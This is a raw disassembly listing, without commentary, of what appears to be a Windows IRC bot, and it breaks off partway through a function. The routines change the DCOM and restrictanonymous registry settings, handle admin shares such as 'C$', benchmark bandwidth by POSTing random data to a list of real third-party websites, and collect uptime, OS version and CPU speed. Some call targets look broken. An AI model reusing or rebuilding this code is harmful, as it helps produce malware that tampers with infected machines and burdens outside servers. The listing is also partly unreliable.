lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB598
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A09E
cmp eax, 0EAh
jz short loc_41A09E
mov esi, offset off_43A0C0
loc_41A032: ; CODE XREF: sub_419E7A+21Dj
push dword ptr [esi]
push edi
call sub_418C6C
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A049
push offset dword_43A1D4
jmp short loc_41A04E
; ---------------------------------------------------------------------------
loc_41A049: ; CODE XREF: sub_419E7A+1C6j
push offset dword_43A1A8
loc_41A04E: ; CODE XREF: sub_419E7A+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A081
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A081: ; CODE XREF: sub_419E7A+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4151AD
add esi, 8
pop ecx
cmp esi, offset off_43A0E0
jb short loc_41A032
jmp loc_41A136
; ---------------------------------------------------------------------------
loc_41A09E: ; CODE XREF: sub_419E7A+1AAj
; sub_419E7A+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12D
loc_41A0AD: ; CODE XREF: sub_419E7A+2AFj
mov edi, [esi]
push edi
call sub_41D817
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A122
push edi
call sub_418B59
push eax
push 0
call sub_418C6C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DC
push offset dword_43A184
jmp short loc_41A0E1
; ---------------------------------------------------------------------------
loc_41A0DC: ; CODE XREF: sub_419E7A+259j
push offset dword_43A158
loc_41A0E1: ; CODE XREF: sub_419E7A+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A115
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A115: ; CODE XREF: sub_419E7A+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4151AD
pop ecx
loc_41A122: ; CODE XREF: sub_419E7A+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AD
xor edi, edi
loc_41A12D: ; CODE XREF: sub_419E7A+22Dj
push [ebp+var_8]
call dword_4CB6E4
loc_41A136: ; CODE XREF: sub_419E7A+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A001
lea eax, [ebp+var_214]
push offset dword_43A130
push eax
call sub_41B886
pop ecx
pop ecx
pop ebx
jmp short loc_41A16C
; ---------------------------------------------------------------------------
loc_41A159: ; CODE XREF: sub_419E7A+177j
lea eax, [ebp+var_214]
push offset dword_43A100
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A16C: ; CODE XREF: sub_419E7A+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A18A
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A18A: ; CODE XREF: sub_419E7A+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4151AD
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19E proc near ; CODE XREF: sub_419E1A:loc_419E61p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB724, ebx
push esi
jnz loc_41A2CC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_41A229
mov ax, word_438E5C
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB678
test eax, eax
jz short loc_41A20B
push offset dword_43A4B0
jmp short loc_41A210
; ---------------------------------------------------------------------------
loc_41A20B: ; CODE XREF: sub_41A19E+64j
push offset dword_43A494
loc_41A210: ; CODE XREF: sub_41A19E+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_41A23C
; ---------------------------------------------------------------------------
loc_41A229: ; CODE XREF: sub_41A19E+36j
lea eax, [ebp+var_220]
push offset dword_43A2E8
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A23C: ; CODE XREF: sub_41A19E+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25B
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A25B: ; CODE XREF: sub_41A19E+A1j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_41A2C5
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB678
test eax, eax
jz short loc_41A2A7
push offset dword_43A454
jmp short loc_41A2AC
; ---------------------------------------------------------------------------
loc_41A2A7: ; CODE XREF: sub_41A19E+100j
push offset dword_43A41C
loc_41A2AC: ; CODE XREF: sub_41A19E+107j
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_41A2DF
; ---------------------------------------------------------------------------
loc_41A2C5: ; CODE XREF: sub_41A19E+E2j
push offset dword_43A3E0
jmp short loc_41A2D1
; ---------------------------------------------------------------------------
loc_41A2CC: ; CODE XREF: sub_41A19E+13j
push offset dword_43A1F8
loc_41A2D1: ; CODE XREF: sub_41A19E+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A2DF: ; CODE XREF: sub_41A19E+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FE
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A2FE: ; CODE XREF: sub_41A19E+144j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
cmp dword_4CB74C, ebx
pop ecx
jnz loc_41A473
push edi
mov esi, offset off_43A0C0
mov edi, 200h
loc_41A322: ; CODE XREF: sub_41A19E+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_418BC0
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33D
push offset dword_43A3C0
jmp short loc_41A342
; ---------------------------------------------------------------------------
loc_41A33D: ; CODE XREF: sub_41A19E+196j
push offset dword_43A398
loc_41A342: ; CODE XREF: sub_41A19E+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A371
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A371: ; CODE XREF: sub_41A19E+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
add esi, 8
pop ecx
cmp esi, offset off_43A0D0
jb short loc_41A322
nop
call near ptr 2870BADh
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45B
loc_41A39C: ; CODE XREF: sub_41A19E+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A450
cmp bl, 41h
jz loc_41A450
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CB6B4
cmp eax, 3
jnz short loc_41A450
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418BC0
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A40E
push offset dword_43A3C0
jmp short loc_41A413
; ---------------------------------------------------------------------------
loc_41A40E: ; CODE XREF: sub_41A19E+267j
push offset dword_43A398
loc_41A413: ; CODE XREF: sub_41A19E+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A443
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A443: ; CODE XREF: sub_41A19E+289j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
pop ecx
loc_41A450: ; CODE XREF: sub_41A19E+206j
; sub_41A19E+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39C
loc_41A45B: ; CODE XREF: sub_41A19E+1F8j
lea eax, [ebp+var_220]
push offset dword_43A368
push eax
call sub_41B886
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A486
; ---------------------------------------------------------------------------
loc_41A473: ; CODE XREF: sub_41A19E+173j
lea eax, [ebp+var_220]
push offset dword_43A100
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A486: ; CODE XREF: sub_41A19E+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A4
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A4A4: ; CODE XREF: sub_41A19E+2EBj
lea eax, [ebp+var_220]
push eax
call sub_4151AD
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19E endp
; =============== S U B R O U T I N E =======================================
sub_41A4B8 proc near ; CODE XREF: sub_41A6AF+CBp
; sub_41A6AF+DDp ...
arg_0 = dword ptr 4
call near ptr 26C066Dh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4D2 proc near ; CODE XREF: sub_41A6AF+D4p
; sub_41A6AF+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AB
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B590
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AAFA
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AB
push 50h
call dword_4CB654
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CB6D4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AB
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz loc_41A6AB
push 32003h
call sub_41CFC5
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41B8D8
call sub_41B8E2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B590
push 32000h
push esi
push ebx
call sub_41B590
push ebx
call sub_41AFE0
push 323EAh
mov ebx, eax
call sub_41CFC5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B886
push [ebp+var_8]
push esi
call sub_41BEC0
push offset asc_433F14 ; "\r\n"
push esi
call sub_41BEC0
push esi
call sub_41AFE0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A62B
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FB
; ---------------------------------------------------------------------------
loc_41A5F8: ; CODE XREF: sub_41A4D2+157j
mov eax, [ebp+arg_0]
loc_41A5FB: ; CODE XREF: sub_41A4D2+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60B
push [ebp+var_C]
jmp short loc_41A60C
; ---------------------------------------------------------------------------
loc_41A60B: ; CODE XREF: sub_41A4D2+132j
push ebx
loc_41A60C: ; CODE XREF: sub_41A4D2+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz short loc_41A692
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A5F8
loc_41A62B: ; CODE XREF: sub_41A4D2+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_42770C
fst [ebp+arg_0]
fcomp flt_427708
fnstsw ax
sahf
jnz short loc_41A653
fld1
fstp [ebp+arg_0]
loc_41A653: ; CODE XREF: sub_41A4D2+17Aj
push [ebp+var_4]
call dword_4CB6EC
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_427704
fmul flt_427700
call sub_41C798
loc_41A68D: ; CODE XREF: sub_41A4D2+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A692: ; CODE XREF: sub_41A4D2+149j
push [ebp+var_4]
call dword_4CB6EC
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AB: ; CODE XREF: sub_41A4D2+19j
; sub_41A4D2+42j ...
xor eax, eax
jmp short loc_41A68D
sub_41A4D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AF proc near ; CODE XREF: sub_401ACD+2E62p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B8
push [ebp+eax*4+var_3C]
call sub_41A4D2
push 8
mov esi, eax
call sub_41A4B8
push [ebp+eax*4+var_3C]
call sub_41A4D2
add esp, 10h
test esi, esi
jz short loc_41A7B0
test eax, eax
jz short loc_41A7AC
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B2
; ---------------------------------------------------------------------------
loc_41A7AC: ; CODE XREF: sub_41A6AF+F4j
mov ebx, esi
jmp short loc_41A7B2
; ---------------------------------------------------------------------------
loc_41A7B0: ; CODE XREF: sub_41A6AF+F0j
mov ebx, eax
loc_41A7B2: ; CODE XREF: sub_41A6AF+FBj
; sub_41A6AF+FFj
push 0Ch
call sub_41A4B8
push [ebp+eax*4+var_6C]
call sub_41A4D2
push 0Ch
mov edi, eax
call sub_41A4B8
push [ebp+eax*4+var_6C]
call sub_41A4D2
add esp, 10h
test edi, edi
jz short loc_41A7EA
test eax, eax
jz short loc_41A7E6
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A7E6: ; CODE XREF: sub_41A6AF+12Ej
mov esi, edi
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A7EA: ; CODE XREF: sub_41A6AF+12Aj
mov esi, eax
loc_41A7EC: ; CODE XREF: sub_41A6AF+135j
; sub_41A6AF+139j
push 6
call sub_41A4B8
push [ebp+eax*4+var_1C]
call sub_41A4D2
push 6
mov edi, eax
call sub_41A4B8
push [ebp+eax*4+var_1C]
call sub_41A4D2
add esp, 10h
test edi, edi
jz short loc_41A824
test eax, eax
jz short loc_41A820
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A826
; ---------------------------------------------------------------------------
loc_41A820: ; CODE XREF: sub_41A6AF+168j
mov ecx, edi
jmp short loc_41A826
; ---------------------------------------------------------------------------
loc_41A824: ; CODE XREF: sub_41A6AF+164j
mov ecx, eax
loc_41A826: ; CODE XREF: sub_41A6AF+16Fj
; sub_41A6AF+173j
xor eax, eax
test ebx, ebx
jz short loc_41A833
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A836
; ---------------------------------------------------------------------------
loc_41A833: ; CODE XREF: sub_41A6AF+17Bj
push 2
pop edi
loc_41A836: ; CODE XREF: sub_41A6AF+182j
test esi, esi
jz short loc_41A83E
add eax, esi
jmp short loc_41A83F
; ---------------------------------------------------------------------------
loc_41A83E: ; CODE XREF: sub_41A6AF+189j
dec edi
loc_41A83F: ; CODE XREF: sub_41A6AF+18Dj
test ecx, ecx
jz short loc_41A847
add eax, ecx
jmp short loc_41A848
; ---------------------------------------------------------------------------
loc_41A847: ; CODE XREF: sub_41A6AF+192j
dec edi
loc_41A848: ; CODE XREF: sub_41A6AF+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A508
push eax
call sub_41B886
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_26C]
push eax
call sub_4151AD
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AF endp
; =============== S U B R O U T I N E =======================================
sub_41A88C proc near ; CODE XREF: sub_401ACD+25A1p
; sub_401ACD+2A11p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 26C066Dh
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DB920
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F5 proc near ; CODE XREF: sub_416F1B+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 270055Dh
test eax, eax
jz short loc_41A988
cmp [ebp+var_90], 4
jnz short loc_41A95E
cmp [ebp+var_8C], esi
jnz short loc_41A946
cmp [ebp+var_84], 1
jnz short loc_41A939
push 1
pop esi
loc_41A939: ; CODE XREF: sub_41A8F5+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A988
push 1
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A946: ; CODE XREF: sub_41A8F5+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A953
loc_41A94F: ; CODE XREF: sub_41A8F5+78j
push 2
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A953: ; CODE XREF: sub_41A8F5+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A988
jmp short loc_41A978
; ---------------------------------------------------------------------------
loc_41A95E: ; CODE XREF: sub_41A8F5+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A988
cmp [ebp+var_8C], esi
jz short loc_41A94F
cmp [ebp+var_8C], 1
jnz short loc_41A97C
loc_41A978: ; CODE XREF: sub_41A8F5+67j
push 3
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A97C: ; CODE XREF: sub_41A8F5+81j
cmp [ebp+var_8C], 2
jnz short loc_41A988
push 7
loc_41A987: ; CODE XREF: sub_41A8F5+4Fj
; sub_41A8F5+5Cj ...
pop esi
loc_41A988: ; CODE XREF: sub_41A8F5+25j
; sub_41A8F5+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F5 endp
; =============== S U B R O U T I N E =======================================
sub_41A98D proc near ; CODE XREF: sub_41AA43+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A995: ; CODE XREF: sub_41A98D+2Fj
; sub_41A98D+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 26A0F44h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41D410
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A995
jb short loc_41A9C4
cmp ebx, esi
ja short loc_41A995
loc_41A9C4: ; CODE XREF: sub_41A98D+31j
push 0
push 64h
push edi
push ebx
call sub_41D480
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA37
jb short loc_41A9E3
cmp esi, 50h
jnb short loc_41A9E8
loc_41A9E3: ; CODE XREF: sub_41A98D+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E8: ; CODE XREF: sub_41A98D+54j
test ecx, ecx
ja short loc_41AA37
jb short loc_41A9F3
cmp esi, 47h
jnb short loc_41A9F8
loc_41A9F3: ; CODE XREF: sub_41A98D+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F8: ; CODE XREF: sub_41A98D+64j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA03
cmp esi, 37h
jnb short loc_41AA08
loc_41AA03: ; CODE XREF: sub_41A98D+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA08: ; CODE XREF: sub_41A98D+74j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA13
cmp esi, 26h
jnb short loc_41AA18
loc_41AA13: ; CODE XREF: sub_41A98D+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA18: ; CODE XREF: sub_41A98D+84j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA23
cmp esi, 1Eh
jnb short loc_41AA28
loc_41AA23: ; CODE XREF: sub_41A98D+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA28: ; CODE XREF: sub_41A98D+94j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA33
cmp esi, 0Ah
jnb short loc_41AA37
loc_41AA33: ; CODE XREF: sub_41A98D+9Fj
xor eax, eax
xor edx, edx
loc_41AA37: ; CODE XREF: sub_41A98D+4Dj
; sub_41A98D+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA43 proc near ; CODE XREF: sub_401ACD+276Fp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43D808
mov [ebp+var_CC], 94h
nop
call near ptr 270055Dh
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AACA
cmp [ebp+var_C4], ebx
jnz short loc_41AAA6
cmp [ebp+var_BC], 1
jnz short loc_41AA90
mov [ebp+var_4], offset dword_431974
loc_41AA90: ; CODE XREF: sub_41AA43+44j
cmp [ebp+var_BC], 2
jnz loc_41AB45
mov [ebp+var_4], offset dword_431970
jmp short loc_41AB16
; ---------------------------------------------------------------------------
loc_41AAA6: ; CODE XREF: sub_41AA43+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB8
mov [ebp+var_4], offset dword_43196C
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAB8: ; CODE XREF: sub_41AA43+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB06
mov [ebp+var_4], offset dword_431968
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AACA: ; CODE XREF: sub_41AA43+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB06
cmp [ebp+var_C4], ebx
jnz short loc_41AAE4
mov [ebp+var_4], offset dword_431964
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAE4: ; CODE XREF: sub_41AA43+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF6
mov [ebp+var_4], offset dword_431960
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAF6: ; CODE XREF: sub_41AA43+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0D
loc_41AB06: ; CODE XREF: sub_41AA43+7Cj
; sub_41AA43+8Ej
mov [ebp+var_4], offset dword_431958
loc_41AB0D: ; CODE XREF: sub_41AA43+73j
; sub_41AA43+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB45
loc_41AB16: ; CODE XREF: sub_41AA43+61j
cmp [ebp+var_B8], bl
jz short loc_41AB45
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_41B886
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
